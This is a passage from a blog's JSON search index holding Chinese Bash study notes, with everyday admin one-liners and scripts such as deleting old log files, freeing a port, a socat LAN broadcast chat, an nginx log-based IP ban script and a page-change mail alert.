src=\"https://xeonds.github.io/img/Pasted%20image%2020230606225353.png\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/05/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E4%B8%89%E6%9E%81%E7%AE%A1/"},{"title":"Bash学习笔记","time":"2023-06-03T13:43:09Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eBash对于绝大多数任务来说够用。所以没必要太折腾,先试试Bash吧。\u003c/p\u003e\u003cp\u003e第一部分我会记录一些Linux自带(绝大多数情况)程序的用法,第二部分会把它们组合起来使用。\u003c/p\u003e\u003ch2 id=\"命令介绍\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%91%BD%E4%BB%A4%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"命令介绍\"\u003e\u003c/a\u003e命令介绍\u003c/h2\u003e\u003cp\u003ehead命令用于显示文件的开头几行,sort命令用于对文件或标准输入进行排序,可以按照字母顺序、数字大小、日期等方式进行排序,uniq命令则用于去除重复的行,可以通过参数指定只保留重复行的数量或只显示重复行。\u003c/p\u003e\u003cp\u003ehead命令的语法:\u003ccode\u003ehead [选项] [文件]\u003c/code\u003e。例如,要查看文件file.txt的前10行,请使用以下命令:\u003ccode\u003ehead -n 10 file.txt\u003c/code\u003e。¹\\\u003c/p\u003e\u003cp\u003esort命令的语法:\u003ccode\u003esort [选项] [文件]\u003c/code\u003e。例如,要按字母顺序对文件file.txt进行排序,请使用以下命令:\u003ccode\u003esort file.txt\u003c/code\u003e。要按数字大小对文件进行排序,请使用以下命令:\u003ccode\u003esort -n file.txt\u003c/code\u003e。\u003c/p\u003e\u003cp\u003euniq命令的语法:\u003ccode\u003euniq [选项] [输入文件] [输出文件]\u003c/code\u003e。例如,要从文件file.txt中删除重复的行并将结果写入新文件newfile.txt,请使用以下命令:\u003ccode\u003euniq file.txt newfile.txt\u003c/code\u003e。要显示重复行及其出现次数,请使用以下命令:\u003ccode\u003euniq -c file.txt\u003c/code\u003e。\u003c/p\u003e\u003ch2 id=\"一些用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E4%B8%80%E4%BA%9B%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"一些用法\"\u003e\u003c/a\u003e一些用法\u003c/h2\u003e\u003cp\u003e黑魔法开始了(不是\u003c/p\u003e\u003ch3 id=\"统计输出情况\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%BB%9F%E8%AE%A1%E8%BE%93%E5%87%BA%E6%83%85%E5%86%B5\" class=\"headerlink\" title=\"统计输出情况\"\u003e\u003c/a\u003e统计输出情况\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e./a.out | \u003cspan class=\"built_in\"\u003ehead\u003c/span\u003e -n 100000 | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就能得到统计好的输出数据。\u003c/p\u003e\u003ch3 id=\"随机输出一行\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E9%9A%8F%E6%9C%BA%E8%BE%93%E5%87%BA%E4%B8%80%E8%A1%8C\" class=\"headerlink\" title=\"随机输出一行\"\u003e\u003c/a\u003e随机输出一行\u003c/h3\u003e\u003cp\u003e看到同学发的抽奖现场用Python现写程序,节目效果拉满()不过,都用Linux了,还不用Bash?\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efname=\u003cspan class=\"string\"\u003e\u0026#34;lab6.c\u0026#34;\u003c/span\u003e; rand=$((RANDOM%$(cat \u0026#34;\u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e\u0026#34; | wc -l))); sed -n \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$rand\u003c/span\u003e\u0026#34;\u003c/span\u003ep \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的命令其实是3行命令,但是每行都比较短就合成一行了。第一个和第二个都是赋值命令,设置文件名,并根据文件行数生成随机数。第三行用\u003ccode\u003esed\u003c/code\u003e从文件中读取指定的行。\u003c/p\u003e\u003cp\u003e对于第三行指令,其实不用\u003ccode\u003esed\u003c/code\u003e也行,用\u003ccode\u003ehead -n \u0026#34;$rand\u0026#34; | tail -n 1\u0026#34;\u003c/code\u003e也是能得到相同的结果。完整指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efname=\u003cspan class=\"string\"\u003e\u0026#34;lab6.c\u0026#34;\u003c/span\u003e; rand=$((RANDOM%$(cat \u0026#34;\u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e\u0026#34; | wc -l))); \u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e \u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e | \u003cspan class=\"built_in\"\u003ehead\u003c/span\u003e -n \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$rand\u003c/span\u003e\u0026#34;\u003c/span\u003e | \u003cspan class=\"built_in\"\u003etail\u003c/span\u003e -n 1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e总之能看出,对于操作数据,Linux自带的工具也很强大了。\u003c/p\u003e\u003ch3 id=\"保留最近三天的文件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E4%BF%9D%E7%95%99%E6%9C%80%E8%BF%91%E4%B8%89%E5%A4%A9%E7%9A%84%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"保留最近三天的文件\"\u003e\u003c/a\u003e保留最近三天的文件\u003c/h3\u003e\u003cp\u003e这东西用来清log和冗余备份确实好用。\u003c/p\u003e\u003cp\u003e清文件夹记得把-f换成-rf。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efind [target file \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e path] -mtime +2 |xargs \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -f\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Ubuntu内存释放\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Ubuntu%E5%86%85%E5%AD%98%E9%87%8A%E6%94%BE\" class=\"headerlink\" title=\"Ubuntu内存释放\"\u003e\u003c/a\u003eUbuntu内存释放\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e2020.12.18 11:05:00\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e下面的指令用来释放系统内存,只在Ubuntu上测试过。长期运行的服务器最好严密监督内存使用情况:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eecho 3 \u0026gt;/proc/sys/vm/drop_caches\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e啊对了注意指令里是vm不是mv。\u003c/p\u003e\u003ch3 id=\"ln-强大的软链接工具\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#ln-%E5%BC%BA%E5%A4%A7%E7%9A%84%E8%BD%AF%E9%93%BE%E6%8E%A5%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"ln-强大的软链接工具\"\u003e\u003c/a\u003eln-强大的软链接工具\u003c/h3\u003e\u003cp\u003e常用用法:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eln\u003c/span\u003e –s 源文件 软连接文件\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这可以帮我们把一个文件链接到另一个地方,类似Windows的快捷方式。\u003c/p\u003e\u003cp\u003e我一般会用它把正在开发的项目链接到nginx的目录下,来实时预览效果。\u003c/p\u003e\u003ch3 id=\"端口占用解除\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%AB%AF%E5%8F%A3%E5%8D%A0%E7%94%A8%E8%A7%A3%E9%99%A4\" class=\"headerlink\" title=\"端口占用解除\"\u003e\u003c/a\u003e端口占用解除\u003c/h3\u003e\u003cp\u003e有时候一些网络应用会启动失败,提示端口被占用。那么一般怎么解决呢?\u003c/p\u003e\u003ch4 id=\"系统环境\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%B3%BB%E7%BB%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"系统环境\"\u003e\u003c/a\u003e系统环境\u003c/h4\u003e\u003cp\u003e我的系统是Ubuntu20.04,其他Linux应该也大同小异。\u003c/p\u003e\u003ch4 id=\"解决步骤\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%A7%A3%E5%86%B3%E6%AD%A5%E9%AA%A4\" class=\"headerlink\" title=\"解决步骤\"\u003e\u003c/a\u003e解决步骤\u003c/h4\u003e\u003cp\u003e就两步。先找到进程: \u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enetstat -anlp| grep 端口号\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后结束进程: \u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ekill -9 进程pid\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完事儿。\u003c/p\u003e\u003ch3 id=\"nc\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#nc\" class=\"headerlink\" title=\"nc\"\u003e\u003c/a\u003enc\u003c/h3\u003e\u003cp\u003e用\u003ccode\u003enc\u003c/code\u003e可以进行局域网聊天(不是\u003c/p\u003e\u003cp\u003e用 \u003ccode\u003esocat\u003c/code\u003e 还可以群聊: 局域网内所有 Linux 机器,输入下方命令加入群聊(指 UDP 广播)(狗头)(狗头) \u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esocat - UDP-DATAGRAM:255.255.255.255:12345,broadcast,\u003cspan class=\"built_in\"\u003ebind\u003c/span\u003e=0.0.0.0:12345\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"根据nginx日志自动ban异常IP\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%A0%B9%E6%8D%AEnginx%E6%97%A5%E5%BF%97%E8%87%AA%E5%8A%A8ban%E5%BC%82%E5%B8%B8IP\" class=\"headerlink\" title=\"根据nginx日志自动ban异常IP\"\u003e\u003c/a\u003e根据nginx日志自动ban异常IP\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eline=1000 \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etimes\u003c/span\u003e=10 \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econf=/opt/nginx/conf/blockip.conf \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etail\u003c/span\u003e /data/logs/nginx/access.log -n \u003cspan class=\"variable\"\u003e$line\u003c/span\u003e | \\ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egrep -E \u003cspan class=\"string\"\u003e\u0026#39;(\u0026#34;status\u0026#34;:\u0026#34;404\u0026#34;|\u0026#34;status\u0026#34;:\u0026#34;302\u0026#34;)\u0026#39;\u003c/span\u003e | awk \u003cspan class=\"string\"\u003e\u0026#39;{print $1}\u0026#39;\u003c/span\u003e | \\ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c | \\ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eawk \u003cspan class=\"string\"\u003e\u0026#39;$1\u0026gt;$times{print \u0026#34;deny \u0026#34;$2 \u0026#34;;\u0026#34;}\u0026#39;\u003c/span\u003e \u0026gt;\u0026gt; \u003cspan class=\"variable\"\u003e$conf\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edeny=$(\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e \u003cspan class=\"variable\"\u003e$conf\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c | awk \u003cspan class=\"string\"\u003e\u0026#39;{print \u0026#34;deny \u0026#34;$3}\u0026#39;\u003c/span\u003e) \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$deny\u003c/span\u003e | sed \u003cspan class=\"string\"\u003e\u0026#34;s/; /;\\n/g\u0026#34;\u003c/span\u003e \u0026gt; \u003cspan class=\"variable\"\u003e$conf\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/local/sbin/nginx -t || \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/bin/systemctl reload nginx\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"一些小工具\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E4%B8%80%E4%BA%9B%E5%B0%8F%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"一些小工具\"\u003e\u003c/a\u003e一些小工具\u003c/h3\u003e\u003cp\u003elazygit ,Git 的终端界面\u003cbr/\u003eranger ,终端文件管理器\u003cbr/\u003elolcat ,对输出做渐变色处理\u003cbr/\u003etrash ,mv 的垃圾回收站版本\u003cbr/\u003eicdiff ,diff 的样式改进版本\u003cbr/\u003elsd ,带文件类型图标的 ls\u003c/p\u003e\u003ch3 id=\"跟踪某网页特定内容\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B7%9F%E8%B8%AA%E6%9F%90%E7%BD%91%E9%A1%B5%E7%89%B9%E5%AE%9A%E5%86%85%E5%AE%B9\" class=\"headerlink\" title=\"跟踪某网页特定内容\"\u003e\u003c/a\u003e跟踪某网页特定内容\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eurl=\u003cspan class=\"string\"\u003e\u0026#34;http://v2ex.com\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewant=\u003cspan class=\"string\"\u003e\u0026#34;好玩\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e\u0026#34;\u003c/span\u003e -O contents\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result=$(\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e contents | ack -i \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$want\u003c/span\u003e\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$result\u003c/span\u003e\u0026#34;\u003c/span\u003e | mail -s \u003cspan class=\"string\"\u003e\u0026#34;Notification\u0026#34;\u003c/span\u003e youe@mail.com\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;nothing\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"空间查看\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%A9%BA%E9%97%B4%E6%9F%A5%E7%9C%8B\" class=\"headerlink\" title=\"空间查看\"\u003e\u003c/a\u003e空间查看\u003c/h3\u003e\u003cp\u003e最近经常在用这个指令查看空间使用情况:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003edu\u003c/span\u003e -sh ./* 2\u0026gt;/dev/null | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e -u\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e比如看下缓存占用情况啥的:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan 